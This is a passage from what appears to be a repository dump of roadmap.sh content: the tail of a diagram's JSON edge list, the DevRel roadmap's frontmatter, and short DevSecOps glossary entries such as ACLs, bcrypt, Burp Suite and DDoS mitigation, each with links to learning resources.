   },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"j6tr3mAaKqTuEFTRSCsrK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"FJIa09zcYn-fLk7B-9gG8\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4GCQ3stXxW1HrlAVC0qDl\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"layvfdCnypUBNLg9xzOiH\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LwNa3u9Lf88ju5w7CvSN5\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"oGTIvAY3zYgoiC63FQRSd\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5y2-mh1BZDVkc-VwA8aQAmDhOz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LwNa3u9Lf88ju5w7CvSN5\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"j6tr3mAaKqTuEFTRSCsrK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5y2-j6tr3mAaKqTuEFTRSCsrKz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LwNa3u9Lf88ju5w7CvSN5\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4GCQ3stXxW1HrlAVC0qDl\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5y2-4GCQ3stXxW1HrlAVC0qDlz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LwNa3u9Lf88ju5w7CvSN5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"rDZoFZFaTG-_eKCKVzuU_\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5x2-rDZoFZFaTG-_eKCKVzuU_w1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rDZoFZFaTG-_eKCKVzuU_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DCj1teu8Hp82EKnakFRPn\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rDZoFZFaTG-_eKCKVzuU_z2-psk3bo-nSskboAoVTjlpzy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DCj1teu8Hp82EKnakFRPn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"psk3bo-nSskboAoVTjlpz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DCj1teu8Hp82EKnakFRPnz2-psk3bo-nSskboAoVTjlpzy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DCj1teu8Hp82EKnakFRPn\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"AwMwMU9hg_gCKPP4tykHb\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-DCj1teu8Hp82EKnakFRPnw2-AwMwMU9hg_gCKPP4tykHbx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"psk3bo-nSskboAoVTjlpz\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"8xrhjG9qmbsoBC3F8zS-b\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-psk3bo-nSskboAoVTjlpzw2-I7RBMfoD30OstVLeTrMs9x1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rDZoFZFaTG-_eKCKVzuU_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"N1uh7dVKfSPT7w0MlKzWO\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rDZoFZFaTG-_eKCKVzuU_y2-N1uh7dVKfSPT7w0MlKzWOz2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rDZoFZFaTG-_eKCKVzuU_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"bLs4BQ15ajuM6kdYjDBVB\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rDZoFZFaTG-_eKCKVzuU_x2-bLs4BQ15ajuM6kdYjDBVBy1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bLs4BQ15ajuM6kdYjDBVB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wcfrXA9zWZ4Taey7mR2yG\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-bLs4BQ15ajuM6kdYjDBVBz2-wcfrXA9zWZ4Taey7mR2yGy1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wcfrXA9zWZ4Taey7mR2yG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"I7RBMfoD30OstVLeTrMs9\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wcfrXA9zWZ4Taey7mR2yGx2-I7RBMfoD30OstVLeTrMs9w2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bLs4BQ15ajuM6kdYjDBVB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HN2gNsYYRLVOOdy_r8FKJ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-bLs4BQ15ajuM6kdYjDBVBx2-4ygpqUK70hI5r1AmmfMZqw1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4ygpqUK70hI5r1AmmfMZq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"HIIqlnZ4Vad_1o4F0lkv-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4ygpqUK70hI5r1AmmfMZqy2-HIIqlnZ4Vad_1o4F0lkv-z1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4ygpqUK70hI5r1AmmfMZq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"lMbj0WdoEia_tdpO5rXph\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4ygpqUK70hI5r1AmmfMZqy2-lMbj0WdoEia_tdpO5rXphz1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4ygpqUK70hI5r1AmmfMZq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NhQUDVA9q1hnV44EKapbU\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4ygpqUK70hI5r1AmmfMZqy2-NhQUDVA9q1hnV44EKapbUz2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bwwk6ESNyEJa3fCAIKPwh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"efMgmXBHUjeBY2g19-o6p\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-bwwk6ESNyEJa3fCAIKPwhx2-efMgmXBHUjeBY2g19-o6pw1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GvmXdWiwITgWzx_f5_ick\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"9KGr7c7SKxXq3kn8In0I2\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-GvmXdWiwITgWzx_f5_ickw2-9KGr7c7SKxXq3kn8In0I2x1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"x6KFf4akYuUYkNhrUwj1r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9KGr7c7SKxXq3kn8In0I2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-x6KFf4akYuUYkNhrUwj1rz2-9KGr7c7SKxXq3kn8In0I2y1\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/devrel/devrel.md",
    "content": "---\nrenderer: 'editor'\njsonUrl: '/jsons/roadmaps/devrel.json'\npdfUrl: '/pdfs/roadmaps/devrel.pdf'\norder: 21\nbriefTitle: 'Developer Relations'\nbriefDescription: 'Step by step guide to becoming a Developer Advocate in 2025'\ntitle: 'Developer Relations'\ndescription: 'Step by step guide to becoming a Developer Advocate in 2025'\nhasTopics: true\nisForkable: false\nisNew: false\nquestion:\n  title: 'What is DevRel/Developer Relations?'\n  description: |\n    DevRel, short for Developer Relations, is a role that focuses on building relationships with developers and the developer community. DevRel professionals work to create a positive developer experience by providing technical resources, support, and advocacy. They often represent a company or organization at developer events, conferences, and online forums, and help developers understand and use the company's products and services. DevRel roles can vary widely depending on the organization, but typically involve a mix of technical expertise, communication skills, and community building.\n\n    ## What does a Developer Advocate do?\n    Building relationships with developers and the developer community, creating technical resources and content, representing the company at events and conferences, providing support and advocacy for developers, and helping developers understand and use the company's products and services.\ndimensions:\n  width: 968\n  height: 3550\nschema:\n  headline: 'DevRel Roadmap: What is DevRel Engineering?'\n  description: 'Learn what DevRel is, what developer advocates do and how to become one using our community-driven roadmap.'\n  imageUrl: 'https://roadmap.sh/roadmaps/devrel.png'\n  datePublished: '2024-07-04'\n  dateModified: '2024-07-04'\nseo:\n  title: 'DevRel Roadmap'\n  description: 'Learn what DevRel is, what developer advocates do and how to become one using our community-driven roadmap.'\n  keywords:\n    - 'devrel roadmap 2024'\n    - 'devrel roadmap 2025'\n    - 'devrel enginer roadmap 2024'\n    - 'devrel enginer roadmap 2025'\n    - 'guide to becoming a developer'\n    - 'guide to becoming a devrel'\n    - 'devrel roadmap'\n    - 'devrel'\n    - 'developer relations engineer'\n    - 'devrel skills'\n    - 'devrel skills test'\n    - 'developer relations roadmap'\n    - 'developer relations roadmap 2025'\n    - 'become a devrel'\n    - 'devrel career path'\n    - 'skills for devrel'\n    - 'learn devrel'\n    - 'what is devrel'\n    - 'devrel quiz'\n    - 'devrel interview questions'\n    - 'developer advocate'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'backend'\n  - 'full-stack'\n  - 'product-manager'\n  - 'qa'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/devrel/faqs.astro",
    "content": "---\n---"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/acls@lLWQhvzXn3EpeCf9Mhgyj.md",
    "content": "# Access Control Lists (ACLs)\n\nAccess Control Lists (ACLs) are sets of rules that determine whether network traffic is allowed or denied to pass through a network interface. They act as a security filter, examining packets based on source and destination IP addresses, ports, and protocols. ACLs are configured on network devices like routers and firewalls to control network access and enforce security policies.\n\nVisit the following resources to learn more:\n\n- [@article@Access Control List: Definition, Types & Usages](https://www.okta.com/uk/identity-101/access-control-list/)\n- [@video@Access Control Lists](https://www.youtube.com/watch?v=IwLyr0mKK1w)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/alert-types@-j1PH9_z-Eq3jxX6e8VmQ.md",
    "content": "# Alert Types\n\nAlert types are the different categories or classifications of notifications generated by monitoring systems when specific events or conditions occur. These alerts signal potential issues, anomalies, or security threats within an application or infrastructure. They can range from simple notifications about resource utilization to complex warnings about potential security breaches, and are crucial for timely response and remediation.\n\nVisit the following resources to learn more:\n\n- [@article@Monitoring 101: Alerting on what matters](https://www.datadoghq.com/blog/monitoring-101-alerting/)\n- [@article@Introduction to Metrics, Monitoring and Alerting](https://sematext.com/blog/monitoring-alerting/)\n- [@video@Observability vs Monitoring vs APM vs Logging vs Alerting](https://www.youtube.com/watch?v=TYE2u7QZNVA)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/asymmetric@hz0WFG5ksaBFMpq7ypLgF.md",
    "content": "# Asymmetric Encryption\n\nAsymmetric encryption, also known as public-key cryptography, uses a pair of keys: a public key for encryption and a private key for decryption. The public key can be freely distributed, allowing anyone to encrypt data intended for the owner of the private key. Only the corresponding private key, which is kept secret, can decrypt the data. This method enables secure communication without the need to exchange secret keys beforehand.\n\nVisit the following resources to learn more:\n\n- [@article@What is asymmetric encryption?](https://www.ibm.com/think/topics/asymmetric-encryption)\n- [@video@Asymmetric Encryption - Simply explained](https://www.youtube.com/watch?v=AQDCe585Lnc)\n- [@video@Symmetric vs. Asymmetric Encryption - CompTIA Security+ SY0-401: 6.1](https://www.youtube.com/watch?v=z2aueocJE8Q)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/attack-surface-mapping@JztcgG94qZ5trdhfDcRa6.md",
    "content": "# Attack Surface Mapping\n\nAttack surface mapping is the process of identifying and documenting all the potential entry points or vulnerabilities that an attacker could exploit to gain unauthorized access to a system or application. This involves cataloging all assets, including hardware, software, network components, and data, and then analyzing them to determine their susceptibility to various threats. The resulting map provides a clear picture of the organization's security posture, enabling security teams to prioritize mitigation efforts and reduce the overall risk.\n\nVisit the following resources to learn more:\n\n- [@article@Attack Surface Analysis Cheat Sheet¶](https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html)\n- [@article@What is Attack Surface Mapping & Analysis in Cybersecurity?](https://jetpack.com/resources/attack-surface-mapping-and-analysis/)\n- [@video@Attack Surface Mapping with Jeff Foley from OWASP Amass](https://www.youtube.com/watch?v=Ui35-YEbBiA)\n- [@video@ASM and Vulnerability Management: Why you need both](https://www.youtube.com/watch?v=oMx9lgTtJnM)\n- [@video@What is ASM (Attack Surface Management)?](https://www.youtube.com/watch?v=NqKid53v5x8)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/audit--compliance-mapping@04_UcLELHkqjBCwliCw7H.md",
    "content": "# Audit & Compliance Mapping\n\nAudit & Compliance Mapping involves aligning an organization's security controls and practices with relevant regulatory requirements, industry standards, and internal policies. This process identifies which controls satisfy specific compliance obligations, creating a clear relationship between security efforts and the necessary frameworks for legal and operational adherence. The goal is to demonstrate that the organization is meeting its obligations and to streamline the audit process by providing a structured view of compliance."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/authentication@iiOWJ7KXyHp_ovVWNmDoc.md",
    "content": "# Authentication\n\nAuthentication is the process of verifying the identity of a user, device, or application attempting to access a system or resource. It confirms that the entity is who or what it claims to be, typically by requiring them to provide credentials such as a username and password, a digital certificate, or biometric data. Successful authentication grants access based on pre-defined permissions and roles.\n\nVisit the following resources to learn more:\n\n- [@article@Basic Authentication](https://roadmap.sh/guides/basic-authentication)\n- [@article@Session Based Authentication](https://roadmap.sh/guides/session-based-authentication)\n- [@article@Token Based Authentication](https://roadmap.sh/guides/token-authentication)\n- [@article@JWT Authentication](https://roadmap.sh/guides/jwt-authentication)\n- [@article@Auth - Open Authorization](https://roadmap.sh/guides/oauth)\n- [@article@SSO - Single Sign On](https://roadmap.sh/guides/sso)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/authorization@DYmh1MkmAuXUJOFqnFzWc.md",
    "content": "# Authorization\n\nAuthorization is the process of determining what a user or system is allowed to access or do. It verifies if a user, once authenticated, has the necessary permissions to perform a specific action on a particular resource. This involves checking access control policies and rules to ensure that only authorized entities can access sensitive data or functionalities.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Authorization and How Does It Work?](https://www.descope.com/learn/post/authorization)\n- [@video@Authentication vs Authorization Explained](https://www.youtube.com/watch?v=7ijBiXddB7w)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/automated-patching@HahTEhITEAGaoys1psZqV.md",
    "content": "# Automated Patching\n\nAutomated patching is the process of automatically applying software updates and security fixes to systems and applications. This involves using tools and scripts to identify missing patches, download them from a central repository, and install them on target machines without manual intervention. The goal is to quickly and efficiently address vulnerabilities and maintain the security and stability of the IT environment.\n\nVisit the following resources to learn more:\n\n- [@article@What is automated patch management?](https://www.pdq.com/blog/what-is-automated-patch-management/)\n- [@article@What is Patch Management Automation and Why It Matters](https://blog.qualys.com/product-tech/patch-management/2025/11/18/what-is-patch-management-automation-guide)\n- [@article@What is Patch Management?](https://www.ibm.com/topics/patch-management)\n- [@video@What Is Patch Management, and Why Does Your Company Need It?](https://www.youtube.com/watch?v=O5XXlJear0w)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/bash@r3XBfcNtxSraF11YK_5d5.md",
    "content": "# Bash Scripting\n\nBash is a command-line interpreter and scripting language commonly used in Linux and macOS environments. It allows users to automate tasks, manage files, and execute programs through a series of commands written in a script. These scripts can range from simple one-liners to complex programs that perform system administration, software deployment, and other essential operations.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Bash Roadmap](https://roadmap.sh/shell-bash)\n- [@article@Interactive Shell Scripting Tutorial](https://www.learnshell.org/en/Welcome)\n- [@video@Bash Scripting Tutorial for Beginners](https://www.youtube.com/watch?v=tK9Oc6AEnR4)\n- [@video@Bash in 100 Seconds](https://www.youtube.com/watch?v=I4EWvMFj37g)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/bcrypt@TqmbGC_Q_b3BkU7UkvE-S.md",
    "content": "# bcrypt\n\nbcrypt is a password-hashing function designed to be computationally intensive and resistant to brute-force attacks. It incorporates a salt to protect against rainbow table attacks and uses an adaptive hashing algorithm, meaning the computational cost can be increased over time to keep pace with advancements in computing power. This makes it a strong choice for securely storing user passwords.\n\nVisit the following resources to learn more:\n\n- [@article@Hashing in Action: Understanding bcrypt](https://auth0.com/blog/hashing-in-action-understanding-bcrypt/)\n- [@article@Password Hashing using bcrypt](https://medium.com/@bhupendra_Maurya/password-hashing-using-bcrypt-e36f5c655e09)\n- [@article@BCrypt Explained](https://dev.to/sylviapap/bcrypt-explained-4k5c)\n- [@video@Password Storage Tier List: encryption, hashing, salting, bcrypt, and beyond](https://www.youtube.com/watch?v=qgpsIBLvrGY)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/build-pipeline-hardening@nkPrYgpM5Mn6C_9u9yAyQ.md",
    "content": "# Build Pipeline Hardening\n\nPipeline hardening focuses on securing the automated process that transforms source code into deployable software. This involves implementing security measures at each stage of the pipeline, from code commit to artifact creation, to prevent vulnerabilities from being introduced or exploited. The goal is to ensure the integrity and confidentiality of the software being built and deployed.\n\nVisit the following resources to learn more:\n\n- [@article@Harden Your CI/CD Pipelines](https://www.paloaltonetworks.com/resources/datasheets/tip-sheet-ci-cd-security)\n- [@article@Hardening - CI/CD Recommendations](https://docs.gitlab.com/security/hardening_cicd_recommendations/)\n- [@video@Hardening Your CI/CD Pipelines with GitOps and Continuous Security](https://www.youtube.com/watch?v=OHly5mGdhNY)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/burp-suite@uAUg6mDDDq7ZyR0IEDxg5.md",
    "content": "# Burp Suite\n\nBurp Suite is a platform used for performing security testing of web applications. It acts as a proxy, intercepting and analyzing traffic between a browser and a web server. This allows security professionals to identify vulnerabilities such as SQL injection, cross-site scripting (XSS), and other common web application flaws.\n\nVisit the following resources to learn more:\n\n- [@official@Burp](https://portswigger.net/burp)\n- [@official@Getting started with Burp Suite](https://portswigger.net/burp/documentation/desktop/getting-started)\n- [@article@What is Burp Suite?](https://www.scaler.com/topics/cyber-security/burp-suite/)\n- [@video@How to use Burp Suite for Beginners](https://www.youtube.com/watch?v=GxvFqgCBW-8)\n- [@video@Master Burp Suite Like A Pro In Just 1 Hour](https://www.youtube.com/watch?v=QiNLNDSLuJY)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/certificate-lifecycle@quUzTCnBnmJoSmIPBGjxk.md",
    "content": "# Certificate Lifecycle\n\nCertificate lifecycle management encompasses all the processes involved in creating, deploying, managing, and eventually revoking digital certificates. This includes requesting certificates from a Certificate Authority (CA), securely storing private keys, distributing certificates to servers and applications, monitoring certificate expiration dates, and renewing or replacing certificates before they expire to maintain secure communication and authentication."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/cia-triad@k7AtVkkVavHjCVo1hqCc0.md",
    "content": "# CIA Triad\n\nThe CIA Triad is a model designed to guide security policies for organizations. It consists of three fundamental principles: Confidentiality, ensuring that information is accessible only to authorized individuals; Integrity, maintaining the accuracy and completeness of data; and Availability, guaranteeing that authorized users have reliable access to information and resources when needed.\n\nVisit the following resources to learn more:\n\n- [@article@The CIA Triad](https://www.fortinet.com/resources/cyberglossary/cia-triad)\n- [@video@The CIA Triad - Professor Messer](https://www.youtube.com/watch?v=SBcDGb9l6yo)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/cloud-security@ou2-KKBNyOxH_IW9s3eE9.md",
    "content": "# Cloud Security\n\nCloud security encompasses the policies, technologies, software, and practices that protect cloud-based systems, data, and infrastructure. It addresses the unique security challenges presented by cloud computing, such as shared responsibility models, data residency, and the dynamic nature of cloud environments. Effective cloud security strategies aim to maintain confidentiality, integrity, and availability of cloud resources while mitigating risks like data breaches, unauthorized access, and denial-of-service attacks.\n\nVisit the following resources to learn more:\n\n- [@article@What is cloud security?](https://www.ibm.com/think/topics/cloud-security)\n- [@article@What is Cloud Security? Essential Tools, Best Practices and Strategies](https://www.crowdstrike.com/en-us/cybersecurity-101/cloud-security/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/container-security@EnDqfr07RzNZmPIth6wSq.md",
    "content": "# Container Security\n\nContainer security involves protecting containerized applications and the underlying infrastructure from vulnerabilities and threats. This includes securing the container image build process, managing container runtime environments, and implementing security measures to prevent unauthorized access, data breaches, and other security incidents. Effective container security practices are essential for ensuring the integrity, confidentiality, and availability of applications deployed in containerized environments.\n\nVisit the following resources to learn more:\n\n- [@article@What is Container Security? [Securing Containers 101]](https://www.wiz.io/academy/container-security/what-is-container-security)\n- [@article@What Is Container Security?](https://www.paloaltonetworks.com/cyberpedia/what-is-container-security)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/containment@CUjGVwPvQytVYqy2zEPuw.md",
    "content": "# Containment\n\nContainment in incident response refers to the actions taken to limit the scope and impact of a security incident. It involves isolating affected systems or networks to prevent the incident from spreading further, minimizing damage, and preserving evidence for investigation. This can include actions like disconnecting compromised machines from the network, shutting down vulnerable applications, or implementing temporary security controls.\n\nVisit the following resources to learn more:\n\n- [@article@Microsoft Security Incident Management: Containment, Eradication, and Recovery](https://learn.microsoft.com/en-us/compliance/assurance/assurance-sim-containment-eradication-recovery)\n- [@article@Containment - AWS](https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/containment.html)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/cryptographic-hashing@EqfPoveYajk61VH-ii_uE.md",
    "content": "# Cryptographic Hashing\n\nCryptographic hashing is a process that takes an input (or 'message') and produces a fixed-size string of characters, known as a hash. This hash acts as a unique fingerprint of the input data. Even a small change to the input will result in a drastically different hash value. Hashing algorithms are designed to be one-way functions, meaning it's computationally infeasible to reverse the process and derive the original input from the hash.\n\nVisit the following resources to learn more:\n\n- [@article@What is hashing and how does it work?](https://www.techtarget.com/searchdatamanagement/definition/hashing)\n- [@article@Hashing Algorithm Overview: Types, Methodologies & Usage](https://www.okta.com/identity-101/hashing-algorithms/)\n- [@article@Understanding Cryptography Types](https://geekflare.com/cybersecurity/cryptography-types/)\n- [@video@Hashing Explained](https://www.youtube.com/watch?v=EOe1XUykdP4)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/cspm@eTOjfNSzlvbWsyX5an_5w.md",
    "content": "# Cloud Security Posture Management (CSPM)\n\nCloud Security Posture Management (CSPM) involves continuously assessing and improving the security configuration of cloud resources. It helps organizations identify and remediate misconfigurations, compliance violations, and security risks across their cloud environments. CSPM tools automate security assessments, provide visibility into cloud security posture, and offer recommendations for improving security controls.\n\nVisit the following resources to learn more:\n\n- [@article@What is cloud security posture management (CSPM)?](https://www.ibm.com/think/topics/cspm)\n- [@article@What is CSPM?](https://www.microsoft.com/en-us/security/business/security-101/what-is-cspm)\n- [@video@What is CSPM (Cloud Security Posture Management)?](https://www.youtube.com/watch?v=V4wmb5KVmKM)\n- [@video@What is Cloud Security Posture Management (CSPM)?](https://www.youtube.com/watch?v=dZLEngVpKME)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/ddos-miligation-strategy@ltpquwL_YEvbgMZ2OyNS4.md",
    "content": "# DDoS Mitigation Strategy\n\nA DDoS (Distributed Denial of Service) mitigation strategy is a plan and set of techniques used to protect a system or network from being overwhelmed by malicious traffic. It involves identifying, analyzing, and filtering out illegitimate requests while allowing legitimate users to access the service. This often includes a combination of traffic filtering, rate limiting, content delivery networks (CDNs), and other security measures to maintain availability and performance during an attack.\n\nVisit the following resources to learn more:\n\n- [@article@10 Best Practices to Prevent DDoS Attacks](https://securityscorecard.com/blog/best-practices-to-prevent-ddos-attacks/)\n- [@article@How to prevent DDoS attacks | Methods and tools](https://www.cloudflare.com/en-gb/learning/ddos/how-to-prevent-ddos-attacks/)\n- [@article@DoS vs DDoS](https://www.fortinet.com/resources/cyberglossary/dos-vs-ddos)\n- [@video@hat is Denial-of-Service attack?](https://www.youtube.com/watch?v=Z7xG3b0aL_I)\n- [@video@What is a DDoS 